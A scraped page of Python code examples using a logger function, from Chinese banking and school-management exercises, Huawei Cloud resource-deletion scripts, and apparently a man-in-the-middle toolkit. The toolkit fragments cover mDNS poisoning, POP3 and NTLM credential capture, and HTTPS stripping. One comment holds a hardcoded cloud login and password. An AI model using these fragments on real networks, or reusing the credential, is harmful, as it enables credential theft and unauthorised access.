Beispiel #1
0
def transfer(account_id):
    money = input("请输入要转账的金额[b]: ").strip()
    if money == 'b': return
    elif money.isdigit():
        money = int(money)
    else:
        print("输入有误")
        return
    account_id2 = input("请输入转入的账户[b]:").strip()
    if account_id2 == 'b': return
    elif account_id2.isdigit():
        if account_id2 == account_id:
            print("不能给本账户转账")
            return
        elif accounts.account_get(account_id2) is False:
            print(" 账户: %s 不存在" % account_id2)
            return
        else:
            account_id2 = int(account_id2)
        bo = judge(account_id, money)
        if bo:
            compute(account_id, 3, money, account_id2)
            logger.logger(account_id,
                          '转出',
                          '-' + str(money),
                          msg='转入账户%s' % account_id2)
            logger.logger(account_id2,
                          '转入',
                          '+' + str(money),
                          msg='来自%s的转账' % account_id)
        else:
            return False
    else:
        print("输入有误")
Beispiel #2
0
 def delete_nat_id(self, nat_gateway_id, name):
     snat_rule_list = self.get_snat_list()
     if snat_rule_list is not False and snat_rule_list is not None:
         for element in snat_rule_list:
             self.delete_snat_rule(element["id"])
     dnat_rule_list = self.get_dnat_list()
     if dnat_rule_list is not False and snat_rule_list is not None:
         for element in dnat_rule_list:
             self.delete_dnat_rule(element["id"])
     url = "https://%s/v2.0/nat_gateways/%s" % (self.field_endpoint,
                                                nat_gateway_id)
     headers = {
         "X-Auth-Token": self.project_token,
         'Content-Type': 'application/json'
     }
     request_result = requests.delete(url=url, headers=headers)
     if request_result.status_code != requests.codes.no_content:
         logger.logger(
             'network',
             '[NAT_MANAGEMENT][ERROR][%s]Delete %s[%s] return_code:%s.\n' %
             (time.strftime("%Y-%m-%d %H:%M:%S"), name, nat_gateway_id,
              request_result.status_code))
     else:
         logger.logger(
             'network',
             '[NAT_MANAGEMENT][INFO][%s]Delete %s[%s] return_code:%s.\n' %
             (time.strftime("%Y-%m-%d %H:%M:%S"), name, nat_gateway_id,
              request_result.status_code))
Beispiel #3
0
def del_ecs(token, url_project, sub_project_id, ecs_id, ecs_name):
    '''调用v1接口批量删除云服务器'''
    url = 'https://ecs.{_project}.myhuaweicloud.com/v1/{tenant_id}/cloudservers/delete'.format(
        _project=url_project, tenant_id=sub_project_id)
    # print(url)
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    body = {
        "servers": [{
            "id": "%s" % ecs_id
        }],  #DELETE_list,
        "delete_publicip": 'false',
        "delete_volume": 'false'
    }
    r = requests.post(url=url, json=body, headers=headers)
    if r.status_code == 200:
        logger.logger(
            'delete_ecs',
            '%s  ECS %s Delete Successful result:%s return_code:%s.\n' %
            (time.strftime("%Y-%m-%d %H:%M:%S"), ecs_name, r.json(),
             r.status_code))
    else:
        logger.logger(
            'delete_ecs_err', '%s  ECS %s Delete Failed:%s return_code:%s.\n' %
            (time.strftime("%Y-%m-%d %H:%M:%S"), ecs_name, r.json(),
             r.status_code))
Beispiel #4
0
    def show_class(self, *args):
        """
        没有指定班级
            老师的属性是name
            school
            classes 对象
        指定了班级

        :param args:
        :return:
        """
        # print(args[0].classes) # 为什么突然就能运行了,之前说Tuple index out of range
        # 应该是我数据的问题,我发现有两个姗姗,我删除一个
        # 或者是在指定老师的时候,没有修改数据  不是这个
        if args[0].classes:
            class_list = []
            for i, class_obj in enumerate(args[0].classes, 1):
                cla = []
                cla.append(i)
                cla.append(class_obj.name)
                cla.append(class_obj.start_time)
                cla.append(class_obj.course.period)
                class_list.append(cla)
            print(tabulate(class_list, headers=['序号', '班级名称', '开班时间', '时间周期']))
            # 日志
            msg = '老师<%s>查看班级列表' % args[0].name
            log_file = os.path.join(config.log_path,
                                    config.LOG_TYPES['teacher'])
            logger.logger(log_file, msg)

        else:
            print('还没有给您指定班级,请联系学校教务处!')
Beispiel #5
0
    def show_students(self, *args):
        """
        输入序号选择班级

        查看学员
        :param args:
        :return:
        """
        self.show_class(*args)  # 原来是因为这里没有传参
        while True:
            choice = input('输入要查看的班级序号>>').strip()
            if choice.isdigit():
                choice = int(choice)
                if 0 < choice <= len(args[0].classes):  # 这里没有加=号 导致下面没有执行
                    student_path = args[0].classes[choice - 1].student_path
                    class_name = args[0].classes[choice - 1].name
                    self.show_students_Utility(student_path, class_name)
                    # 日志
                    msg = '老师<%s>查看班级同学列表' % args[0].name
                    log_file = os.path.join(config.log_path,
                                            config.LOG_TYPES['teacher'])
                    logger.logger(log_file, msg)
                else:
                    print('输入错误,请输入列表中的数字!')
            elif choice == 'q':
                break
            else:
                print('输入错误,请输入列表中的数字!')
Beispiel #6
0
 def show_classes(self, *args):
     print('班级列表'.center(40, '-'))
     # 日志
     msg = '用户<%s>查看班级列表' % args[0].name
     log_file = os.path.join(config.log_path, config.LOG_TYPES['manager'])
     logger.logger(log_file, msg)
     return self.show('class_picke_obj')
Beispiel #7
0
 def show_teacher(self, *args):
     print('讲师列表'.center(40, '-'))
     self.show('teacher_picke_obj')
     # 日志
     msg = '用户<%s>查看老师列表' % args[0].name
     log_file = os.path.join(config.log_path, config.LOG_TYPES['manager'])
     logger.logger(log_file, msg)
Beispiel #8
0
def admin(admin_id):
    print('Welcome! managers')
    choice = 0
    while choice != '5':
        print()
        menu = '''
          \033[1;31m------- Account management interface ---------\033[0m
            \033[32;1m
                        1.  创建账户
                        2.  冻结账户
                        3.  解冻账户
                        4.  删除账户
                        5.  退出
            \033[0m'''
        print(menu)
        choice = input('\033[1;34minput:\033[0m').strip()
        if choice == '1':
            create_user()
            continue
        elif choice == '2':
            lock_user()
        elif choice == '3':
            un_lock_user()
        elif choice == '4':
            del_user()
    else:
        logger.logger('login', admin_id, '登出', '管理员 [%s] 登出成功。' % admin_id)
        print('bye!')
def search_enhance_elb_healthmonitors(token, url_project):
    url = 'https://vpc.{_project}.myhuaweicloud.com/v2.0/lbaas/healthmonitors'.format(
        _project=url_project)  #GET
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    r = requests.get(url=url, headers=headers)
    if r.status_code == 200:
        print(r.json()["healthmonitors"])
        return r.json()["healthmonitors"]
    else:
        logger.logger(
            'search_enhance_elb_"healthmonitors"_error',
            '%s  search elb_listeners Failed  return_code:%s  info:%s url:%s:.\n'
            %
            (time.strftime("%Y-%m-%d %H:%M:%S"), r.status_code, r.json(), url))
        return []


# https://vpc.ap-sout
# heast-1.myhuaweicloud.com/v1/ccce0d1ed57e4621bce16ed18d8e8f71/publicips
# import os,sys,time
# BASE_NAME = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# sys.path.append(BASE_NAME)
# from core import get_token
# from conf import settings
# token = get_token.get_token('hwcloudsom1', 'zhangmingda', '237828Zhang?','cn-north-1','cn-north-1')
# print(token)
# def search_user_id(token):
#     url = 'https://iam.myhuaweicloud.com/v3/users'
#     headers = {"Content-type": "application/json", "X-Auth-Token": token}
#     r = requests.get(url=url, headers=headers)
#     print(r.json())
# search_user_id(token)
Beispiel #10
0
 def show_my_class(self, *args):
     if hasattr(args[0], 'classes'):
         # 先跟新一下班级信息
         class_data = self.class_picke_obj.loaditer()
         for class_obj in class_data:
             if class_obj.name == args[0].classes.name:
                 args[0].classes = class_obj
                 class_data.close()
                 self.class_picke_obj.edit(args[0])
                 break
         # 跟新完后 判定 班级老师 是否指定
         teacher = '未指定' if args[0].classes.teacher == '未指定' else args[
             0].classes.teacher.name
         # 打印班级信息
         print('所在班级'.center(40, '-'))
         print("""
         班级名称:%s
         老师姓名:%s
         开班时间:%s
         课程周期:%s
         """ % (args[0].classes.name, teacher, args[0].classes.start_time,
                args[0].classes.course.period))  # 创建班级之前添加的是字符串,需要修改
         # 日志
         msg = '学生<%s>查看班级信息' % args[0].name
         log_file = os.path.join(config.log_path,
                                 config.LOG_TYPES['student'])
         logger.logger(log_file, msg)
     else:
         print('无班级信息,请先选择课程!')
Beispiel #11
0
def pay(user_data, cart):
    main.payment()
    total = 0
    for key in cart:
        # print(key)
        total += cart[key]['price'] * cart[key]['amount']
    logger.logger(user_data).info("购物消费 %d 元!" % total)
Beispiel #12
0
def del_enhance_elb_healthmonitor(token, url_project,healthmonitor_id):
    url = 'https://vpc.{_project}.myhuaweicloud.com/v2.0/lbaas/healthmonitors/{healthmonitor_id}'.format(_project=url_project,healthmonitor_id=healthmonitor_id)
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    r = requests.delete(url=url, headers=headers)
    if r.status_code == 204:
        logger.logger('del_enhance_elb_healthmonitor', '%s  del_enhance_elb_healthmonitor: %s Successful return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), healthmonitor_id, r.status_code))
    else:
        logger.logger('del_enhance_elb_healthmonitor_err', '%s  delete del_listener_backend_pool: %s Failed return_code:%s info:%s url:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), healthmonitor_id, r.status_code,r.json(),url))
 def delete_evs_id(self,evs_id,name):
     url = "https://%s/v2/%s/volumes/%s?cascade=true" % (self.field_endpoint, self.project_id, evs_id)
     headers = {"X-Auth-Token": self.project_token, 'Content-Type': 'application/json'}
     request_result = requests.delete(url=url, headers=headers)
     if request_result.status_code != requests.codes.accepted:
         logger.logger('storage','[EVS_MANAGEMENT][ERROR][%s]Delete %s[%s] return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), name, evs_id, request_result.status_code))
     else:
         logger.logger('storage','[EVS_MANAGEMENT][INFO][%s]Delete %s[%s] return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), name, evs_id, request_result.status_code))
Beispiel #14
0
def payment_api(account_id=0, money=0, msg=''):
    bo = judge(account_id, money)
    if bo:
        compute(account_id, 4, money)
        logger.logger(account_id, '购物', '-' + str(money), msg)
        return True
    else:
        return False
Beispiel #15
0
def del_dnat_rule(token,url_project,dnat_rule_id,nat_ipaddress):
    url = 'https://nat.{_project}.myhuaweicloud.com/v2.0/dnat_rules/{_dnat_rule_id}'.format(_project=url_project,_dnat_rule_id=dnat_rule_id) #DELETE
    # print(url)
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    r = requests.delete(url=url, headers=headers)
    if r.status_code == 204:
        logger.logger('del_dnat_rule','%s  delete dnat_rules_ip: %s Successful return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), nat_ipaddress, r.status_code))
    else:
        logger.logger('del_dnat_rule_err', '%s  delete dnat_rules_ip: %s Failed info:%s return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), nat_ipaddress,r.json(), r.status_code))
Beispiel #16
0
 def inner(*args, **kwargs):
     """
     登录验证装饰器
     :param args:
     :param kwargs:
     :return:
     """
     username = input("input user name: ")
     fileName = ".".join([username, "json"])
     filePath = os.path.join(BASE_DIR, "account", fileName)
     if os.path.exists(filePath):
         account_info = fileManager.loadFileData(filePath)
         # 获取当前的时间戳
         currentTime = time.time()
         # 将字符串时间转换为时间戳
         structTime = time.strptime(account_info['expire_date'], '%Y-%m-%d')
         # 将结构化时间转换为时间戳
         expireDate = time.mktime(structTime)
         if account_info['login_status'] is False:
             # 计时器
             login_count = 1
             flag = True
             while flag:
                 if account_info['status'] == 1:
                     print('账号已锁定', username)
                     flag = False
                 else:
                     password = encryptionProcessing(
                         input("input user password: "))
                     if password and account_info['password'] == password:
                         # 登录成功了,验证账号有没有过期
                         if currentTime < expireDate:
                             # 更改用户的登录状态
                             account_info['login_status'] = True
                             print('%s user login success!!!' % username)
                             logger.logger().info(
                                 'login      %s user login success' %
                                 username)
                             flag = False
                         else:
                             print('账号已过期')
                             flag = False
                     else:
                         print('%s user login failed' % username)
                         if login_count == 3:
                             print('三次登录失败,锁定该账户', username)
                             logger.logger().error(
                                 'login       %s user lock' % username)
                             account_info['status'] = 1
                             flag = False
                         login_count += 1
         # 更新文件内容
         fileManager.updateFileDate(filePath, account_info)
         if account_info['login_status']:
             functionName(*args, **kwargs)
     else:
         print('用户不存在', username)
Beispiel #17
0
def del_enhance_elb(token,url_project,loadbalancer_id,vip_address):
    url = 'https://vpc.{_project}.myhuaweicloud.com/v2.0/lbaas/loadbalancers/{loadbalancer_id}'.format(_project=url_project,loadbalancer_id=loadbalancer_id)
    print(url)
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    r = requests.delete(url=url, headers=headers)
    if r.status_code == 204:
        logger.logger('del_enhance_elb', '%s  delete elb_vip_address: %s Successful return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), vip_address, r.status_code))
    else:
        logger.logger('del_enhance_elb_err', '%s  delete enhance_elb_vip_address: %s Failed return_code:%s info:%s url:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), vip_address, r.status_code,r.json(),url))
def manager_network(token, url_project, sub_project_id):
    logger.logger('network', "-----------%s-----------\n" % url_project)
    nat_handle = network.NAT_MANAGEMENT(sub_project_id, token, url_project)
    nat_list = nat_handle.get_nat_list()
    if nat_list is not False and nat_list is not None:
        target_list = nat_handle.get_delete_nat_id_dict(
            nat_list, settings.del_time['nat'], settings.nodel_common_list)
        for key, value in target_list.items():
            nat_handle.delete_nat_id(key, value)
def manager_evs(token, url_project, sub_project_id):
    logger.logger('storage', "-----------%s-----------\n" % url_project)
    evs_handle = storage.EVS_MANAGEMENT(sub_project_id, token, url_project)
    evs_list = evs_handle.get_evs_list()
    if evs_list is not False and evs_list is not None:
        target_list = evs_handle.get_delete_evs_id_dict(
            evs_list, settings.del_time['evs'], settings.nodel_common_list)
        for key, value in target_list.items():
            evs_handle.delete_evs_id(key, value)
 def get_evs_list(self):
     url = "https://%s/v2/%s/volumes/detail?status=available" % (self.field_endpoint, self.project_id)
     headers = {"X-Auth-Token": self.project_token, 'Content-Type': 'application/json'}
     request_result = requests.get(url=url, headers=headers)
     if request_result.status_code != requests.codes.ok:
         logger.logger('storage', '[EVS_MANAGEMENT][ERROR][%s]Get EVS api version return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), request_result.status_code))
         return False
     logger.logger('storage', '[EVS_MANAGEMENT][INFO][%s]Get EVS api version return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), request_result.status_code))
     return request_result.json()["volumes"]
Beispiel #21
0
    def create_course(self, *args):
        """
        输入:学科名称、价格、周期
        创建一个课程对象,dump进course文件

        :return:
        """
        # 规范课程名字
        # print(tabulate([config.course_list], headers=['name', 'name', 'name'], tablefmt='gird'))
        print('课程名称'.center(40, '-'))
        for name in config.course_list:
            print('corse_name:', name)
        input_msg = '请输入课程名称>>'
        name_course = self.standard_input(input_msg, config.course_list)
        if name_course:
            # 规范价格
            while True:
                price_course = input('请输入课程价格>>').strip()
                if price_course.isdigit():
                    price_course = int(price_course)
                    # 规范课程周期,以月为单位
                    while True:
                        period_course = input('请输入课程周期>>')
                        ret = re.fullmatch('\w+个月', period_course)
                        if ret:
                            # 规范课程所属学校
                            # print(tabulate([config.school_list], headers=['name', 'name', 'name'], tablefmt='gird'))
                            print('学校名称'.center(40, '-'))
                            for name in config.school_list:
                                print('school_name:', name)
                            input_msg = '请输入学校名称>>'
                            school_course = self.standard_input(
                                input_msg, config.school_list)

                            # 创建课程对象
                            course_obj = school.Course(name_course,
                                                       period_course,
                                                       price_course,
                                                       school_course)
                            self.course_picke_obj.dump(course_obj)
                            print('课程<%s>创建成功' % name_course)
                            # 日志
                            msg = '创建课程<%s>' % name_course
                            log_file = os.path.join(
                                config.log_path, config.LOG_TYPES['manager'])
                            logger.logger(log_file, msg)
                            return
                        elif period_course == 'q':
                            print('返回上一级!')
                            break
                        else:
                            print('输入错误!eg:6个月')
                elif price_course == 'q':
                    print('返回上一级!')
                    break
                else:
                    print('课程价格必须是一个数字!')
Beispiel #22
0
def acc_login(user_data):
    username = input('account: ')
    log_obj = logger.logger(username, 'access')

    max_try_cnt, try_cnt = 3, 0  # 运行最大尝试次数
    all_user = data_handler.get_all_username()  # 存在data/accounts文件夹下的所有用户
    if username in all_user :   # 用户名存在
        user_db = data_handler.get_user_db(username)
        last_login_time = user_db['last_login_time']
        if user_db['status'] == 0:  # 正常状态
            while  try_cnt < max_try_cnt:
                password = input('Please input your password(quit:q): ')
                # 认证成功后欢迎信息 ,判断密码是否与真实密码相等
                if user_db['password'] == password:
                    welcome_login()   # 欢迎信息
                    log_obj.info('account [%s] are login' % username)
                    user_data['is_authenticated'] = True
                    user_data['account_id'] = username
                    return user_db   # 退出循环
                elif password == 'q':    # 取消重新登陆,直接退出程序
                    exit()
                else:   # 未达到三次,最大尝试次数减一
                    try_cnt += 1
                print('You have \033[1;35m%s times chance\033[0m' % (max_try_cnt-try_cnt))
            else:  # 输入三次错误后锁定
                # localTime = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime())
                user_db['last_login_time'] = time.time()    # 时间戳
                user_db['status'] = 1
                data_handler.set_user_db(username, user_db)
                log_obj.error("account [%s] too many login attempts" % username)
                print("you have been locked...")
                exit()
            pass
        elif user_db['status'] == 1:  # 锁定状态
            print("you have been locked at the time:"
                  "\033[1;32m %s\033[0m " % last_login_time)     # 高亮显示锁定时间
            pass
        elif user_db['status'] == 2:    # 注销状态,及不可见
            print("you have been revoke your account at the time: "
                  "\033[1;32m %s\033[0m " % last_login_time)    # 高亮显示吊销账号时间
            pass
        pass
    else:   # 用户名不存在,提示是否重新注册
        want_add_user = input("Do you want add a new account (y/n)? ")
        if (want_add_user == 'y'):
            add_user = input('Please input a new account: ')    # 输入用户名密码
            add_passwd = input('Please input a passwd: ')
            user_db = default_db.default_db # 为新用户增加用户数据
            user_db['id'] = add_user
            user_db['password'] = add_passwd
            data_handler.set_user_db(add_user,user_db)

            log_obj = logger.logger(add_user, 'access')
            log_obj.info('account [%s] are login' % add_user)
        else:
            exit()
def manager_cce(token, url_project, sub_project_id):
    logger.logger('cce_log', "-----------%s-----------\n" % url_project)
    cce_handle = Cloud_Container_Engine_Management.CCE_MANAGEMENT(
        sub_project_id, token, url_project)
    cce_list = cce_handle.get_cce_cluster_list()
    if cce_list is not False and cce_list is not None:
        target_list = cce_handle.get_delete_cce_id_dict(
            cce_list, settings.del_time['cce'], settings.nodel_common_list)
        for key, value in target_list.items():
            cce_handle.delete_cce_cluster(key, value)
Beispiel #24
0
 def get_delete_evs_id_dict(self, evs_id_list, not_delete_key_word_list):
     instance_id_dict = {}
     for instance in evs_id_list:
         if instance["id"] not in protected.EVS and get_pattern_status(
                 not_delete_key_word_list, instance["name"]):
             instance_id_dict[instance['id']] = instance['name']
     logger.logger(
         'storage', '[EVS_MANAGEMENT][INFO][%s]get target EVS info[%s].\n' %
         (time.strftime("%Y-%m-%d %H:%M:%S"), instance_id_dict.keys()))
     return instance_id_dict
Beispiel #25
0
def payment(costs_amount):
    pay_acc_data = login.login(user_data)
    # print(pay_acc_data)
    pay_status = transaction.transaction(pay_acc_data, 'payment', costs_amount)
    # print(pay_status)
    if pay_acc_data and pay_status:
        logger.logger(
            'transaction', pay_acc_data['account'],
            "账户 %s 购物消费 %s 元" % (pay_acc_data['account'], costs_amount))
    return pay_acc_data, pay_status
Beispiel #26
0
def del_publicip(token,url_project,sub_project_id,publicip_id,ipaddress):
    '''调用V1接口删除单个IP地址'''
    url = 'https://vpc.{_project}.myhuaweicloud.com/v1/{tenant_id}/publicips/{publicip_id}'.format(_project=url_project,tenant_id=sub_project_id,publicip_id=publicip_id)
    # print(url)
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    r = requests.delete(url=url,headers=headers)
    if r.status_code == 204 :
        logger.logger('del_publicip','%s  publicip %s delete Successful  return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), ipaddress,r.status_code))
    else:
        logger.logger('del_publicip_err', '%s  publicip %s delete Failed_info:%s return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), ipaddress,r.json(), r.status_code))
def manager_destop(token, url_project, sub_project_id):
    logger.logger('cloud_desktop', "-----------%s-----------\n" % url_project)
    cd_handle = cloud_destop.CD_MANAGEMENT(sub_project_id, token, url_project)
    cd_list = cd_handle.get_cloud_destop_list()
    if cd_list is not False and cd_list is not None:
        target_list = cd_handle.get_delete_cd_id_dict(
            cd_list, settings.del_time['cloud_destop'],
            settings.nodel_common_list)
        for key, value in target_list.items():
            cd_handle.delete_cd_id(key, value)
 def get_delete_evs_id_dict(self,evs_id_list, delete_time, not_delete_key_word_list):
     instance_id_dict = {}
     for instance in evs_id_list:
         tmp_time_str = instance['created_at']
         create_stamp = time.mktime(time.strptime(tmp_time_str[0:tmp_time_str.index(".")], format("%Y-%m-%dT%H:%M:%S"))) + 28800
         DELETE_time = create_stamp + delete_time * 3600
         if instance["id"] not in protected.EVS and get_pattern_status(not_delete_key_word_list,instance["name"]) and time.time() > DELETE_time:
             instance_id_dict[instance['id']] = instance['name']
     logger.logger('storage', '[EVS_MANAGEMENT][INFO][%s]get target EVS info[%s].\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), instance_id_dict.keys()))
     return instance_id_dict
Beispiel #29
0
def remove_elb_listener_ecs(token,url_project,sub_project_id,listener_id,backend_ecs):
    url = 'https://elb.{_project}.myhuaweicloud.com/v1.0/{tenant_id}/elbaas/listeners/{listener_id}/members/action'.format(_project=url_project,tenant_id=sub_project_id,listener_id=listener_id)
    headers = {"Content-type": "application/json", "X-Auth-Token": token}
    body = {"removeMember": [{"id": "%s"% backend_ecs['id']}]}
    # print(body)
    r = requests.post(url=url,json=body,headers=headers)
    if r.status_code == 200:
        logger.logger('remove_elb_listener_ecs', '%s  remove_elb_listener_ecs: %s Successful return_code:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), backend_ecs['server_address'], r.status_code))
    else:
        logger.logger('remove_elb_listener_ecs_err','%s  remove_elb_listener_ecs:  %s Failed return_code:%s info:%s url:%s.\n' % (time.strftime("%Y-%m-%d %H:%M:%S"), backend_ecs['server_address'], r.status_code, r.json(), url))
Beispiel #30
0
def refund(account_id):
    money = input("请输入要还款的金额[b]: ").strip()
    if money == 'b': return
    elif money.isdigit():
        money = int(money)
    else:
        print("输入有误")
        return
    compute(account_id, 2, money)
    logger.logger(account_id, '还款', '+' + str(money))
    return False
Beispiel #31
0
#__author__:"Alex Li"

'''
main program handle module , handle all the user interaction stuff

'''

from core import auth
from core import accounts
from core import logger
from core import accounts
from core import transaction
import time

#transaction logger
trans_logger = logger.logger('transaction')
#access logger
access_logger = logger.logger('access')


#temp account data ,only saves the data in memory
user_data = {
    'account_id':None,
    'is_authenticated':False,
    'account_data':None

}

def account_info(acc_data):
    print(user_data)
def repay(acc_data):
Beispiel #32
0
import threading

from core.utils import set_ip_forwarding, iptables
from core.logger import logger
from scapy.all import *
from traceback import print_exc
from netfilterqueue import NetfilterQueue

formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("PacketParser", formatter)

class PacketParser:

    def __init__(self, filter):
        self.filter = filter

    def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, self.modify)

        t = threading.Thread(name='packetparser', target=self.nfqueue.run)
        t.setDaemon(True)
        t.start()

    def modify(self, pkt):
        #log.debug("Got packet")
        data = pkt.get_payload()
        packet = IP(data)
Beispiel #33
0
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import os
import logging
import re
import sys

from commands import getstatusoutput
from core.logger import logger
from core.proxyplugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr, get_working_if

formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Utils", formatter)

def shutdown(message=None):
    for plugin in ProxyPlugins().plugin_list:
        plugin.on_shutdown()
    sys.exit(message)

def set_ip_forwarding(value):
    status, result = getstatusoutput('sysctl --help')
    if status == 0:
        log.debug("Setting ip forwarding to {} using sysctl".format(value))
        os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX
    else:
        log.debug("Setting ip forwarding to {}".format(value))
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
            file.write(str(value))
Beispiel #34
0
import threading
import socket
import struct
import logging

from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MDNSpoisoner", formatter)

class MDNSpoisoner():

	def start(self, options, ourip):
		
		global args; args = options
		global OURIP; OURIP = ourip

		try:
			log.debug("OURIP => {}".format(OURIP))
			server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
			t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
			t.setDaemon(True)
			t.start()
		except Exception, e:
			log.error("Error starting on port 5353: {}" .format(e))
Beispiel #35
0
    def setup_logger(self):
        formatter = logging.Formatter("%(asctime)s [{0}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S")
        self.log = logger().setup_logger(self.name, formatter)

        formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{0}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S")
        self.clientlog = logger().setup_logger("{0}_{1}".format(self.name, "clientlog"), formatter)
Beispiel #36
0
import logging 
import re 
import string
import random 
import zlib 
import gzip
import StringIO
import sys

from core.logger import logger
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor

formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Ferret_ServerConnection", formatter)

class ServerConnection(HTTPClient):

    ''' The server connection is where we do the bulk of the stripping.  Everything that
    comes back is examined.  The headers we dont like are removed, and the links are stripped
    from HTTPS to HTTP.
    '''

    urlExpression     = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
    urlType           = re.compile(r"https://", re.IGNORECASE)
    urlExplicitPort   = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
    urlTypewww        = re.compile(r"https://www", re.IGNORECASE)
    urlwExplicitPort  = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
    urlToken1         = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
    urlToken2         = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
Beispiel #37
0
import logging
import threading

from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.common import *
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.logger import logger

formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("POP3server", formatter)

class POP3server():

	def start(self):
		try:
			log.debug("online")
			server = ThreadingTCPServer(("0.0.0.0", 110), POP)
			t = threading.Thread(name="POP3server", target=server.serve_forever)
			t.setDaemon(True)
			t.start()
		except Exception as e:
			log.error("Error starting on port {}: {}".format(110, e))

class ThreadingTCPServer(ThreadingMixIn, TCPServer):

	allow_reuse_address = 1

	def server_bind(self):
		TCPServer.server_bind(self)
Beispiel #38
0
import os
import struct
import core.responder.settings as settings
import threading

from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
from core.responder.utils import *

from core.logger import logger
from core.responder.packets import NTLM_Challenge
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile

formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("HTTP", formatter)

class HTTP:

	static_endpoints = {}
	endpoints = {}

	@staticmethod
	def add_endpoint(url, content_type, payload):
		Buffer = ServeHtmlFile(ContentType="Content-Type: {}\r\n".format(content_type), Payload=payload)
		Buffer.calculate()
		HTTP.endpoints['/' + url] = Buffer

	@staticmethod
	def add_static_endpoint(url, content_type, path):
		Buffer = ServeHtmlFile(ContentType="Content-Type: {}\r\n".format(content_type))
Beispiel #39
0
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')

#Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

options = parser.parse_args()

#Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()]

#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_iface, get_ip, get_mac, shutdown
if not options.interface:
    options.interface = get_iface()
options.ip  = get_ip(options.interface)
options.mac = get_mac(options.interface)

from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor

URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
URLMonitor.getInstance().setCaching(options.preserve_cache)
Beispiel #40
0
import binascii

from core.logger import logger
from os import geteuid, devnull
from sys import exit
from urllib import unquote
from collections import OrderedDict
from BaseHTTPServer import BaseHTTPRequestHandler
from StringIO import StringIO
from urllib import unquote

from scapy.all import *
conf.verb=0

